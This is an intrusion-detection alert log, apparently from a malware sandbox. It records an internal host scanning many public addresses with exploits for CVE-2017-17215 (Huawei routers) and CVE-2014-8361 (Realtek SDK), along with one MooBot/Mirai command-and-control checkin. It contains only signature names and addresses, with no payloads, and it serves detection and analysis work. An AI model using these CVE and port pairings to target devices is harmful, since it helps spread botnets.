Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:54692 -> 197.37.177.219:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:58652 -> 197.70.43.24:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:58652 -> 197.70.43.24:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:56944 -> 197.200.12.199:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:56944 -> 197.200.12.199:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:35696 -> 157.71.253.214:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:35696 -> 157.71.253.214:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:45842 -> 41.117.226.58:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:45842 -> 41.117.226.58:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:35314 -> 157.75.252.43:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:35314 -> 157.75.252.43:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:50604 -> 199.150.19.53:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:50604 -> 199.150.19.53:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:34686 -> 113.163.100.190:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:34686 -> 113.163.100.190:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:59068 -> 41.173.192.227:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:59068 -> 41.173.192.227:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:49258 -> 117.157.75.129:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:49258 -> 117.157.75.129:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:59774 -> 41.79.186.119:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:59774 -> 41.79.186.119:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:43488 -> 41.226.92.193:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:43488 -> 41.226.92.193:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:58610 -> 197.8.234.46:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:58610 -> 197.8.234.46:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:54236 -> 197.164.125.148:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:54236 -> 197.164.125.148:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:57418 -> 41.212.179.177:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:57418 -> 41.212.179.177:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:41258 -> 197.210.50.88:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:41258 -> 197.210.50.88:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:56066 -> 197.77.202.247:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:56066 -> 197.77.202.247:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:54692 -> 41.131.64.64:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:54692 -> 41.131.64.64:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:36104 -> 157.31.140.76:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:36104 -> 157.31.140.76:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:53338 -> 37.3.189.109:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:53338 -> 37.3.189.109:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:52980 -> 197.195.106.45:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:52980 -> 197.195.106.45:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:57054 -> 197.77.31.163:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:57054 -> 197.77.31.163:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:46280 -> 197.241.150.191:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:46280 -> 197.241.150.191:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:54792 -> 157.47.87.238:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:54792 -> 157.47.87.238:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:35610 -> 157.136.175.137:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:35610 -> 157.136.175.137:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:36598 -> 197.170.105.28:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:36598 -> 197.170.105.28:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:45068 -> 197.153.186.108:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:45068 -> 197.153.186.108:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:58460 -> 207.21.193.219:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:58460 -> 207.21.193.219:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:57698 -> 157.177.125.202:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:57698 -> 157.177.125.202:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:60422 -> 157.250.180.168:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:60422 -> 157.250.180.168:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:48024 -> 197.62.166.112:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:48024 -> 197.62.166.112:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:34370 -> 41.89.17.37:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:34370 -> 41.89.17.37:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:59254 -> 152.71.212.76:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:59254 -> 152.71.212.76:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:37178 -> 197.17.71.182:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:37178 -> 197.17.71.182:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:54462 -> 157.81.103.110:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:54462 -> 157.81.103.110:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:57400 -> 116.213.32.189:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:57400 -> 116.213.32.189:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:44708 -> 41.7.80.153:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:44708 -> 41.7.80.153:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:42126 -> 41.27.117.169:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:42126 -> 41.27.117.169:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:46822 -> 81.216.201.21:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:46822 -> 81.216.201.21:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:55584 -> 197.102.177.131:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:55584 -> 197.102.177.131:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:37866 -> 161.127.78.197:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:37866 -> 161.127.78.197:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:52714 -> 181.36.87.26:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:52714 -> 181.36.87.26:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:36306 -> 157.229.133.19:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:36306 -> 157.229.133.19:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:57010 -> 41.180.195.47:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:57010 -> 41.180.195.47:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:47970 -> 41.248.220.216:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:47970 -> 41.248.220.216:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:44924 -> 41.145.5.36:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:44924 -> 41.145.5.36:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:52592 -> 41.181.208.214:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:52592 -> 41.181.208.214:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:54222 -> 42.255.69.128:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:54222 -> 42.255.69.128:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:45326 -> 41.156.215.126:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:45326 -> 41.156.215.126:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:38644 -> 199.67.163.62:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:38644 -> 199.67.163.62:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:33058 -> 197.88.129.45:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:33058 -> 197.88.129.45:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:57848 -> 139.212.201.39:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:57848 -> 139.212.201.39:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:59758 -> 157.59.236.255:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:59758 -> 157.59.236.255:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:56210 -> 41.10.15.208:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:56210 -> 41.10.15.208:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:45974 -> 157.255.88.114:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:45974 -> 157.255.88.114:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:58450 -> 157.114.223.179:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:58450 -> 157.114.223.179:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:44376 -> 197.199.221.47:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:44376 -> 197.199.221.47:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:32874 -> 197.5.87.246:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:32874 -> 197.5.87.246:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:33668 -> 197.146.102.184:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:33668 -> 197.146.102.184:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:41490 -> 197.249.254.134:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:41490 -> 197.249.254.134:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:58446 -> 197.177.30.83:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:58446 -> 197.177.30.83:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:49006 -> 13.83.123.25:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:49006 -> 13.83.123.25:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.14:38412 -> 15.235.203.214:2466
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:34388 -> 34.37.107.29:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:34388 -> 34.37.107.29:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:58474 -> 177.133.134.55:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:58474 -> 177.133.134.55:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:57236 -> 82.44.225.133:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:57236 -> 82.44.225.133:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:38530 -> 101.71.112.133:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:38530 -> 101.71.112.133:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:60168 -> 31.235.249.101:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:60168 -> 31.235.249.101:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:50060 -> 82.86.85.182:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:50060 -> 82.86.85.182:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:41716 -> 64.117.200.225:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:41716 -> 64.117.200.225:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:47030 -> 177.26.169.251:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:47030 -> 177.26.169.251:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:60522 -> 121.241.252.236:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:60522 -> 121.241.252.236:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:43334 -> 200.181.183.183:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:43334 -> 200.181.183.183:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:56082 -> 211.192.130.220:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:56082 -> 211.192.130.220:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:42316 -> 39.70.52.243:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:42316 -> 39.70.52.243:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:47768 -> 158.178.147.148:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:47768 -> 158.178.147.148:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:38976 -> 170.123.158.68:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:38976 -> 170.123.158.68:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:54828 -> 40.122.199.14:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:54828 -> 40.122.199.14:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:36662 -> 198.112.106.164:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:36662 -> 198.112.106.164:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:42798 -> 68.93.103.227:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:42798 -> 68.93.103.227:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:44008 -> 191.124.131.163:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:44008 -> 191.124.131.163:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:35510 -> 146.178.29.63:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:35510 -> 146.178.29.63:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:46728 -> 20.43.107.217:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:46728 -> 20.43.107.217:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:43108 -> 160.191.28.144:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:43108 -> 160.191.28.144:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:54374 -> 174.69.237.0:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:54374 -> 174.69.237.0:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:60452 -> 91.209.91.142:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:60452 -> 91.209.91.142:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:43344 -> 202.140.60.188:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:43344 -> 202.140.60.188:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.14:48856 -> 66.247.97.52:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.14:48856 -> 66.247.97.52:52869
